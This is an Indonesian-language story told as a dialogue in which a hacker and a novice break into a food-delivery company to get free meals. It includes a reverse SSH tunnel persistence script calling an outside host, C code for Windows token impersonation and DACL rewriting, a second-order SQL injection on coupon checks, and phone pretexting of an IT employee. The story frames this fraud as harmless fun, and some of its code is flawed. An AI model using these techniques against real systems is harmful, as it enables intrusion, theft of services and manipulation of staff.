Cara seorang peretas ulung memandang dunia sangat berbeda dari rutinitas harian pekerja teknologi yang bekerja di perusahaan teknologi. Sementara sebagian besar profesional mengandalkan dokumentasi resmi, arahan atasan, dan praktik terbaik yang diterima, seorang peretas hanya memercayai apa yang dapat disentuh, diuji, dan dirusak. Bagi seorang peretas, pemahaman datang melalui rekayasa balik — membongkar sistem untuk mengungkap cara kerjanya yang sebenarnya, lalu menyatukannya kembali, memperbaiki apa yang rusak atau mengeksploitasi kerentanan.
Ini bukan tentang menjadi seorang penjahat. Ini adalah bentuk pembelajaran yang paling murni, sebuah metode setua keingintahuan manusia itu sendiri: uraikan, pahami bagian-bagiannya, dan bangun kembali. Ini adalah pemikiran analitis dan sintetis yang terbaik. Penguasaan sejati datang ketika seorang peretas dapat mengeksploitasi perangkat karena itu adalah bukti utama bahwa mereka tahu persis cara kerjanya — lebih baik daripada orang lain.
Kisah ini persis tentang itu — bagaimana seorang peretas ulung (Benicio) dari DeusExMachina dan Simplicius (seorang pemula yang pemberani) dengan senang hati membedah dan akhirnya memperoleh kendali penuh atas sebuah sistem yang rumit (Aplikasi Pengiriman Makanan).
Ini adalah petualangan yang tidak hanya intelektual dan teknis, tetapi pada dasarnya tentang berjuang untuk melampaui batasan manusia, memecahkan teka-teki yang mustahil tidak hanya dengan menguras otak mereka, tetapi dengan bermain dengannya dan yang terpenting benar-benar diberi makan olehnya—sifat yang dimiliki peretas seperti yang dimiliki anak-anak.
Penafian: Cerita ini berisi materi peretasan yang benar-benar dapat diterapkan, tetapi semata-mata untuk tujuan pendidikan. Cerita ini tidak menganjurkan peretasan ilegal.
Benicio (Peretas): Simplicius, kamu kelihatan kelaparan. Bagaimana kalau kita pesan makanan… gratis? Aku punya rencana untuk meretas aplikasi pengiriman makanan favoritmu, menggunakan sistem kupon mereka sendiri.
Simplicius (Pendatang Baru): ( Tertawa ) Anda sudah punya sesuatu yang dimasak, bukan? Ceritakan saja.
Benicio: ( Menyeringai ) Oh, saya sudah menyiapkan dasar-dasarnya. Kemarin, saya membujuk Greg dari tim IT mereka, melakukan rekayasa sosial yang cerdik, dan menyelipkan router bajakan saya langsung ke jaringan mereka. Sekarang, kami memiliki jalur langsung ke backend mereka dan akses ke sistem kupon mereka yang berharga. Ayo makan.
Benicio: Semuanya berawal dari Greg. Saya menelepon, berpura-pura menjadi bagian dari "tim audit pihak ketiga" mereka, dan Greg — orang yang baik — membocorkan semua hal tentang pengaturan jaringan mereka. Sebelum dia menyadarinya, saya sudah berada di ruang server mereka, "memeriksa kerentanan" dan memasang router OpenWRT khusus saya. Benda itu sekarang menerobos firewall mereka tanpa terdeteksi.
Simplicius: Anda berhasil membujuk Greg agar memberikan peta jaringan dan membiarkan Anda memasang router palsu? Lancar.
Benicio: (Tersenyum) Router itu sekarang memiliki terowongan SSH terbalik yang berjalan, yang memberi kita akses jarak jauh kapan saja kita mau. Berikut skrip yang saya gunakan:
#!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done
Simplicius: Jadi sekarang, Anda telah menerobos firewall mereka dengan perangkat licik ini. Apa selanjutnya?
Benicio: Dengan akses internal penuh, saatnya membajak token dengan hak istimewa tinggi. Saya menemukan proses yang berjalan sebagai admin, menggunakan API DuplicateTokenEx()
untuk mengkloning token tersebut, lalu menyamar sebagai admin dengan ImpersonateLoggedOnUser()
. Sistem menganggap saya hanya pengguna biasa, tetapi di balik layar, sayalah yang memegang semua kunci.
#include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }
Benicio: Namun, agar benar-benar berhasil, saya perlu mengetahui cara pengaturan deskriptor keamanan mereka. Jadi, saya menelepon Greg lagi dan mengatakan bahwa saya membutuhkannya untuk memverifikasi beberapa pengaturan DACL dan SACL untuk audit. Dia dengan senang hati menurutinya.
Simplicius: (Tertawa) Rekayasa sosial yang terbaik.
Benicio: Oke, dengan bantuan Greg, saya menarik string SDDL ( Security Descriptor Definition Language ) untuk deskriptor keamanan target, yang memungkinkan saya menganalisis dan menulis ulang DACL (Discretionary Access Control List) . Saya memodifikasi DACL untuk memberi diri saya akses penuh sambil menggunakan tanda pewarisan yang cerdas untuk memastikan perubahan tidak akan memicu peringatan atau menimbulkan kecurigaan. Sistemnya bahkan tidak berkedip!!
Setelah DACL baru diterapkan, saya menerapkan perubahan tersebut kembali ke sistem. Keindahannya adalah, dari sudut pandang sistem, tidak ada yang tampak aneh . Bendera pewarisan memastikan bahwa modifikasi saya tetap tersembunyi di bawah aturan akses yang ada, tetapi sekarang saya memiliki kendali penuh
#include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }
Simplicius: Jadi Anda sudah masuk, dan Anda punya kendali. Bagaimana Anda bisa lolos dari pemeriksaan akses?
Benicio: (Mencondongkan tubuh dengan percaya diri, sambil menunjuk diagram di atas) Sistem berjalan melalui tiga lapisan: integritas, berbasis token, dan pemeriksaan diskresioner . Biasanya, di situlah kebanyakan orang menemui jalan buntu, tetapi di sinilah keajaiban itu muncul. Saya mengambil token admin dari proses istimewa, menggunakan ImpersonateToken()
untuk membuat sistem berpikir bahwa saya adalah bos besar. Setelah itu, saya memasang kembali DACL untuk memberi saya akses penuh. Sistem baru saja menggelar karpet merah.
Izinkan saya menjelaskannya. Token Akses — yang menyimpan SID (Pengenal Keamanan) dan hak istimewa — seperti paspor saya. Dengan menyamar sebagai token admin , saya tidak perlu mengubah SID asli saya. Sistem masih menganggap saya sebagai pengguna dengan hak istimewa rendah, tetapi di balik layar, saya memiliki kunci kerajaan. Itu membuat saya melewati pemeriksaan berbasis token .
Selanjutnya, saya menangani Security Descriptor (DACL) . Ingat SDDL yang saya tarik sebelumnya? Saya memodifikasi DACL untuk memberi diri saya kontrol penuh atas objek tersebut, tetapi saya dengan cerdik menutupi perubahan tersebut dengan tanda pewarisan , memastikan tidak ada yang mencurigakan yang akan ditandai. Sistem itu bahkan tidak berkedip, tetapi sekarang saya memiliki kontrol penuh. Itu membuat saya berhasil melewati pemeriksaan diskresioner .
Simplicius: Yup, penjaga pintu kami yang ramah, Proses Pemeriksaan Akses…
Benicio: Ya, seperti penjaga di klub . Jika Anda memiliki ID yang tepat ( SID ) dan Anda mengenal pemilik klub ( DACL ), Anda bisa masuk. Saya memastikan saya memiliki keduanya — ID yang tepat dan izin pemilik — jadi penjaga tidak hanya mengizinkan saya masuk, mereka memberi saya tiket VIP.
Dan setelah semua itu? Sistem akan mengatakan ' Akses Diberikan' atau ' Akses Ditolak' . Berkat semua langkah yang kita ambil, Anda dapat menebaknya — Akses Diberikan . Kita masuk, Simplicius, dan sistem bahkan tidak menyadarinya.
Benicio : Sekarang, untuk bagian yang menyenangkan. Saya tidak memilih jalan yang mudah dengan klausa UNION
yang sederhana. Aplikasi ini terlalu pintar untuk itu —mereka menggunakan pernyataan yang telah disiapkan . Namun, Anda tahu, keamanan hanya sekuat mata rantai terlemah, dan saya menemukan cara mereka menangani data profil yang tersimpan .
Simplicius : Oke, saya penasaran. Bagaimana Anda berhasil mengelabui sistem agar menerima kupon palsu sambil membiarkan kupon yang valid tetap utuh?
Benicio : ( Mencondongkan tubuh ke depan ) Inilah trik sebenarnya. Aplikasi menjalankan kueri untuk memvalidasi apakah kupon itu sah, tetapi menarik beberapa data dari profil pengguna Anda. Sekarang, mereka membersihkan masukan saat Anda pertama kali membuat profil, tetapi mereka TIDAK membersihkannya kembali selama pembaruan profil. Jadi, saya menyuntikkan muatan ke bidang alamat profil saya, yang tidak terlihat sampai aplikasi menariknya ke kueri mendatang. Saat itulah injeksi SQL orde kedua saya dimulai. Sistem tidak menangkapnya karena injeksi sudah disimpan, menunggu saat yang tepat.
Alih-alih menyerang proses validasi kupon secara langsung, seperti yang saya katakan, Simplicius, saya menanam muatan saya di kolom profil, menunggu untuk digunakan dalam kueri terpisah. Berikut ini adalah tampilan validasi kupon asli:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';
Biasanya, kueri ini tidak akan menghasilkan apa pun karena kupon palsu tersebut tidak ada. Namun, muatan yang saya masukkan mengubah logika kueri tersebut. Sistem tidak menduga adanya penyuntikan karena muatan tersebut sudah tersimpan dalam basis data dan menunggu saat yang tepat. Kueri tersebut dimanipulasi menjadi sesuatu yang lebih seperti ini:
SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');
Dengan memanfaatkan interaksi antara data profil dan kueri , saya mengelabui sistem agar menarik kupon palsu dan valid secara bersamaan. Aplikasi memproses kupon palsu untuk transaksi, tetapi kupon valid tetap utuh dalam sistem, tidak tersentuh. Ini berarti saya dapat menggunakan kembali kupon valid kapan pun saya mau.
Simplicius : Jadi, Anda tidak menggunakan trik input klasik — Anda menanam muatan di profil Anda dan membiarkan sistem melakukan pekerjaan kotornya?
Benicio : Tepat sekali. Keindahannya adalah aplikasi memproses kupon palsu untuk transaksi, tetapi di bagian belakang, kupon yang valid masih tersedia untuk penggunaan di masa mendatang. Muatan yang tersimpan terus berjalan di kueri mendatang, menjadikannya persediaan makanan gratis yang tak terbatas , dan mereka tidak menyadarinya.
Dengan itu, saya mendapatkan kupon yang sama berharganya dengan emas. Ayo pesan.
Benicio: (Menggulir aplikasi) Baiklah, Simplicius, bagaimana dengan makanan Yunani? Saya pikir souvlaki, gyros, spanakopita. Semuanya gratis, tentu saja.
Simplicius: (Tersenyum lebar) Kau benar-benar mengalahkan dirimu sendiri kali ini.
Benicio: (Klik konfirmasi) Selesai. Makanan sedang dalam perjalanan.
Benicio: Setelah ini, saya akan mengirimi mereka laporan rahasia yang menjelaskan kerentanan mereka. Mereka tidak tahu seberapa buruk sistem token keamanan Windows mereka. Mungkin mereka akan belajar sesuatu sebelum peretas berikutnya muncul.
Simplicius: (Mencondongkan tubuh) Kau membuatkan kami makan malam dan tidak memberi tahu mereka. Ngomong-ngomong, aku akan mengambil souvlaki.
Benicio: (Tersenyum) Nikmatilah selagi masih ada.